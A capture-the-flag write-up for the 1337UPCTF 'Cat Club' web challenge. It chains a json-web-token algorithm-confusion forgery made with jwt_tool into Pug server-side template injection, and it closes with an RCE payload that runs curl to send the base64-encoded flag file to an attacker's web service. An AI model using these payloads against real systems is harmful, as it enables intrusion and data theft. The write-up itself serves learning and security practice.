1337UPCTF Cat Club
Table of Contents

Recon#
Here we have source code and URL. After some investigation, we can find that there is only a login/register endpoint here.
which may helpful in our next move.
We register with a random account
hacker123
and login in. Now, we see four very cute cats and a title with our registered
username, and since the username is displayed directly as it, we can guess that there may be injection-related vulnerabilities.
And second interesting thing is that the request carries a
JWT
cookie.
Exploit#
We already have above findings in hand and now do a targeted search of the source code. Since this is a JavaScript
project, we
get package.json
to see its dependencies:
{
"name": "cat-club",
"version": "4.2.0",
"main": "app/app.js",
"scripts": {
"start": "node app/app.js"
},
"dependencies": {
"bcryptjs": "^2.4.3",
"cookie-parser": "^1.4.6",
"dotenv": "^16.4.5",
"pug": "^3.0.3",
"express": "^4.21.0",
"express-session": "^1.18.0",
"json-web-token": "~3.0.0",
"pg": "^8.12.0",
"sequelize": "^6.37.3"
},
"devDependencies": {
"nodemon": "^3.1.4"
},
"engines": {
"node": ""
},
"license": "MIT",
"keywords": [],
"author": "",
"description": ""
}
Notice that highlighted line, which is dependency library of JWT
handled in JavaScript
, search it in npmjs:
And there’s nothing strange about the usage. However, we quickly discovered a high-risk vulnerability on the security page.
We can learn more detail about this vulnerability in PortSwigger Academy. After we have familiarized ourselves with how this
vulnerability works, then exploit it.
we need public key
(in first request we can get original alg_type is RS256).
Fortunately, the program has an endpoint that provides a public key.
router.get("/jwks.json", async (req, res) => {
try {
const publicKey = await fsPromises.readFile(path.join(__dirname, "..", "public_key.pem"), "utf8");
const publicKeyObj = crypto.createPublicKey(publicKey);
const publicKeyDetails = publicKeyObj.export({ format: "jwk" });
const jwk = {
kty: "RSA",
n: base64urlEncode(Buffer.from(publicKeyDetails.n, "base64")),
e: base64urlEncode(Buffer.from(publicKeyDetails.e, "base64")),
alg: "RS256",
use: "sig",
};
res.json({ keys: [jwk] });
} catch (err) {
res.status(500).json({ message: "Error generating JWK" });
}
});
❯ curl https://catclub-0.ctf.intigriti.io/jwks.json | jq .
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 410 100 410 0 0 221 0 0:00:01 0:00:01 --:--:-- 221
{
"keys": [
{
"kty": "RSA",
"n": "w4oPEx-448XQWH_OtSWN8L0NUDU-rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpathL1zf3_Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQzYcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnRfT5HJjSRu_JmGlYCrFSof5p_E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t8opUrLbrJYoWFeYZOY_Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ-Hdw",
"e": "AQAB",
"alg": "RS256",
"use": "sig"
}
]
}
And we can transfer JWK
to PEM
format key with CyberChef. (cause we need the same format of public key with server.)
Further, in the endpoint that return the Cats Gallery
after user has successfully login. we can see that the username
is also injected into the server-side template in advance in JWT
.
router.get("/cats", getCurrentUser, (req, res) => {
if (!req.user) {
return res.redirect("/login?error=Please log in to view the cat gallery");
}
const templatePath = path.join(__dirname, "views", "cats.pug");
fs.readFile(templatePath, "utf8", (err, template) => {
if (err) {
return res.render("cats");
}
if (typeof req.user != "undefined") {
template = template.replace(/guest/g, req.user);
}
const html = pug.render(template, {
filename: templatePath,
user: req.user,
});
res.send(html);
});
});
hacktricks have collected awesome lists for
SSTI
Solution#
- exploit json-web-token algorithm confusion to bypass login in
JWT
verifying. - use
SSTI
toRCE
.
❯ python3 jwt_tool.py --exploit k -pk ~/Downloads/pubkey -I -pc username -pv "#{7*7}" $JWT
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.7 \______| @ticarpi
Original JWT:
File loaded: /home/ada/Downloads/pubkey
jwttool_697a82c0d94b5cd145edc825ef911a2d - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IiN7Nyo3fSJ9.lsLiuUrEkr81Z73IyAJmF7gTJfp9WwqErjPlr9e9UvI
use this new JWT
and reload the page, we see:
Now, change to real RCE
payload:
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad(\"child_process\").exec('curl <web service>/?flag=$(cat /flag* | base64)')}()}
which can use ngrok for proxy our web services.
Conclusions#
- When we discovered some reflected information about the user input, may be there are injection-related vulnerabilities.
- We can try
JWT
-related attack if the endpoint need that.